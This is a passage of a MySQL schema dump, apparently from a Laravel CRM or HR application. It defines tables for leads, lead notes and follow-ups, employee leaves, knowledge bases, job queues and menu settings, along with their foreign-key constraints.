(`company_id`), KEY `issues_user_id_foreign` (`user_id`), KEY `issues_project_id_foreign` (`project_id`), CONSTRAINT `issues_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `issues_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `issues_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `job_batches`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `job_batches` ( `id` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `total_jobs` int NOT NULL, `pending_jobs` int NOT NULL, `failed_jobs` int NOT NULL, `failed_job_ids` text COLLATE utf8mb4_unicode_ci NOT NULL, `options` mediumtext COLLATE utf8mb4_unicode_ci, `cancelled_at` int DEFAULT NULL, `created_at` int NOT NULL, `finished_at` int DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `jobs`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `jobs` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `queue` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `payload` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `attempts` tinyint unsigned NOT NULL, `reserved_at` int unsigned DEFAULT NULL, `available_at` int unsigned NOT NULL, `created_at` int unsigned NOT NULL, PRIMARY KEY (`id`), KEY `jobs_queue_index` (`queue`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `knowledge_bases`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `knowledge_bases` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `to` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'employee', `heading` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `category_id` int unsigned DEFAULT NULL, `description` mediumtext COLLATE utf8mb4_unicode_ci, `added_by` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `knowledge_bases_company_id_foreign` (`company_id`), KEY `knowledge_bases_category_id_foreign` (`category_id`), CONSTRAINT `knowledge_bases_category_id_foreign` FOREIGN KEY (`category_id`) REFERENCES `knowledge_categories` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `knowledge_bases_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `knowledge_categories`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `knowledge_categories` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `knowledge_categories_company_id_foreign` (`company_id`), CONSTRAINT `knowledge_categories_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `language_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `language_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `language_code` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `language_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `status` enum('enabled','disabled') COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `lead_agents`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `lead_agents` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `status` enum('enabled','disabled') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'enabled', `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `lead_agents_company_id_foreign` (`company_id`), KEY `lead_agents_user_id_foreign` (`user_id`), KEY `lead_agents_added_by_foreign` (`added_by`), KEY `lead_agents_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `lead_agents_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_agents_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `lead_agents_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_agents_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `lead_category`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `lead_category` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `category_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `lead_category_company_id_foreign` (`company_id`), KEY `lead_category_added_by_foreign` (`added_by`), KEY `lead_category_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `lead_category_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_category_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `lead_category_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `lead_custom_forms`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `lead_custom_forms` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `custom_fields_id` int unsigned DEFAULT NULL, `field_display_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `field_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `field_order` int NOT NULL, `status` enum('active','inactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active', `required` tinyint(1) NOT NULL DEFAULT '0', `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `lead_custom_forms_company_id_foreign` (`company_id`), KEY `lead_custom_forms_custom_fields_id_foreign` (`custom_fields_id`), KEY `lead_custom_forms_added_by_foreign` (`added_by`), KEY `lead_custom_forms_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `lead_custom_forms_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_custom_forms_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `lead_custom_forms_custom_fields_id_foreign` FOREIGN KEY (`custom_fields_id`) REFERENCES `custom_fields` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `lead_custom_forms_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `lead_files`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `lead_files` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `lead_id` int unsigned NOT NULL, `user_id` int unsigned NOT NULL, `filename` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, `hashname` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, `size` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, `description` text COLLATE utf8mb4_unicode_ci, `google_url` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `dropbox_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `lead_files_lead_id_foreign` (`lead_id`), KEY `lead_files_user_id_foreign` (`user_id`), KEY `lead_files_added_by_foreign` (`added_by`), KEY `lead_files_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `lead_files_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_files_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_files_lead_id_foreign` FOREIGN KEY (`lead_id`) REFERENCES `leads` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `lead_files_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `lead_follow_up`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `lead_follow_up` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `lead_id` int unsigned NOT NULL, `remark` longtext COLLATE utf8mb4_unicode_ci, `next_follow_up_date` datetime DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `event_id` text COLLATE utf8mb4_unicode_ci, `send_reminder` enum('yes','no') COLLATE utf8mb4_unicode_ci DEFAULT 'no', `remind_time` text COLLATE utf8mb4_unicode_ci, `remind_type` enum('minute','hour','day') COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `lead_follow_up_lead_id_foreign` (`lead_id`), KEY `lead_follow_up_added_by_foreign` (`added_by`), KEY `lead_follow_up_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `lead_follow_up_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_follow_up_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_follow_up_lead_id_foreign` FOREIGN KEY (`lead_id`) REFERENCES `leads` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `lead_notes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `lead_notes` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `lead_id` int unsigned DEFAULT NULL, `title` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `type` tinyint(1) NOT NULL DEFAULT '0', `member_id` int unsigned DEFAULT NULL, `is_lead_show` tinyint(1) NOT NULL DEFAULT '0', `ask_password` tinyint(1) NOT NULL DEFAULT '0', `details` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `lead_notes_lead_id_foreign` (`lead_id`), KEY `lead_notes_member_id_foreign` (`member_id`), KEY `lead_notes_added_by_foreign` (`added_by`), KEY `lead_notes_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `lead_notes_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_notes_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_notes_lead_id_foreign` FOREIGN KEY (`lead_id`) REFERENCES `leads` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `lead_notes_member_id_foreign` FOREIGN KEY (`member_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `lead_sources`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `lead_sources` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `type` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `lead_sources_type_unique` (`type`), KEY `lead_sources_company_id_foreign` (`company_id`), KEY `lead_sources_added_by_foreign` (`added_by`), KEY `lead_sources_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `lead_sources_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `lead_sources_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `lead_sources_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `lead_status`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `lead_status` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `type` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `priority` int NOT NULL, `default` tinyint(1) NOT NULL, `label_color` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '#ff0000', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `lead_status_type_unique` (`type`), KEY `lead_status_company_id_foreign` (`company_id`), CONSTRAINT `lead_status_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `lead_user_notes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `lead_user_notes` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned NOT NULL, `lead_note_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `lead_user_notes_user_id_foreign` (`user_id`), KEY `lead_user_notes_lead_note_id_foreign` (`lead_note_id`), CONSTRAINT `lead_user_notes_lead_note_id_foreign` FOREIGN KEY (`lead_note_id`) REFERENCES `lead_notes` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `lead_user_notes_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `leads`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `leads` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `client_id` int DEFAULT NULL, `source_id` int DEFAULT NULL, `status_id` int DEFAULT NULL, `column_priority` int NOT NULL, `agent_id` bigint unsigned DEFAULT NULL, `company_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `website` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `address` text COLLATE utf8mb4_unicode_ci, `salutation` enum('mr','mrs','miss','dr','sir','madam') COLLATE utf8mb4_unicode_ci DEFAULT NULL, `client_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `client_email` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `mobile` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `cell` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `office` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `city` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `state` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `country` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `postal_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `note` text COLLATE utf8mb4_unicode_ci, `next_follow_up` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'yes', `value` double DEFAULT '0', `currency_id` int unsigned DEFAULT NULL, `category_id` int unsigned DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `hash` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `leads_company_id_foreign` (`company_id`), KEY `leads_agent_id_foreign` (`agent_id`), KEY `leads_currency_id_foreign` (`currency_id`), KEY `leads_category_id_foreign` (`category_id`), KEY `leads_added_by_foreign` (`added_by`), KEY `leads_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `leads_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `leads_agent_id_foreign` FOREIGN KEY (`agent_id`) REFERENCES `lead_agents` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `leads_category_id_foreign` FOREIGN KEY (`category_id`) REFERENCES `lead_category` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `leads_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `leads_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `leads_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `leave_types`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `leave_types` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `type_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `color` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `no_of_leaves` int NOT NULL DEFAULT '5', `paid` tinyint(1) NOT NULL DEFAULT '1', `monthly_limit` int NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `leave_types_company_id_foreign` (`company_id`), CONSTRAINT `leave_types_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `leaves`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `leaves` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `leave_type_id` int unsigned NOT NULL, `duration` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `leave_date` date NOT NULL, `reason` text COLLATE utf8mb4_unicode_ci NOT NULL, `status` enum('approved','pending','rejected') COLLATE utf8mb4_unicode_ci NOT NULL, `reject_reason` text COLLATE utf8mb4_unicode_ci, `paid` tinyint(1) NOT NULL DEFAULT '0', `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `event_id` text COLLATE utf8mb4_unicode_ci, `approved_by` int unsigned DEFAULT NULL, `approved_at` datetime DEFAULT NULL, `half_day_type` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `leaves_company_id_foreign` (`company_id`), KEY `leaves_user_id_foreign` (`user_id`), KEY `leaves_leave_type_id_foreign` (`leave_type_id`), KEY `leaves_leave_date_index` (`leave_date`), KEY `leaves_added_by_foreign` (`added_by`), KEY `leaves_last_updated_by_foreign` (`last_updated_by`), KEY `leaves_approved_by_foreign` (`approved_by`), CONSTRAINT `leaves_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `leaves_approved_by_foreign` FOREIGN KEY (`approved_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `leaves_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `leaves_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `leaves_leave_type_id_foreign` FOREIGN KEY (`leave_type_id`) REFERENCES `leave_types` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `leaves_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `log_time_for`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `log_time_for` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `log_time_for` enum('project','task') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'project', `auto_timer_stop` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `approval_required` tinyint(1) NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `log_time_for_company_id_foreign` (`company_id`), CONSTRAINT `log_time_for_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ltm_translations`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ltm_translations` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `status` int NOT NULL DEFAULT '0', `locale` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `group` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `key` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `value` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `menu_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `menu_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `main_menu` longtext COLLATE utf8mb4_unicode_ci, `default_main_menu` longtext COLLATE utf8mb4_unicode_ci, `setting_menu` longtext COLLATE utf8mb4_unicode_ci, `default_setting_menu` longtext COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `menus`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `menus` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `menu_name` varchar(100) COLLATE utf8mb4_unicode_ci NOT NULL, `translate_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `route` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `module` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `icon` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `setting_menu` tinyint(1) DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `message_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `message_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `allow_client_admin` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `allow_client_employee` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `restrict_client` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `message_settings_company_id_foreign` (`company_id`), CONSTRAINT `message_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = 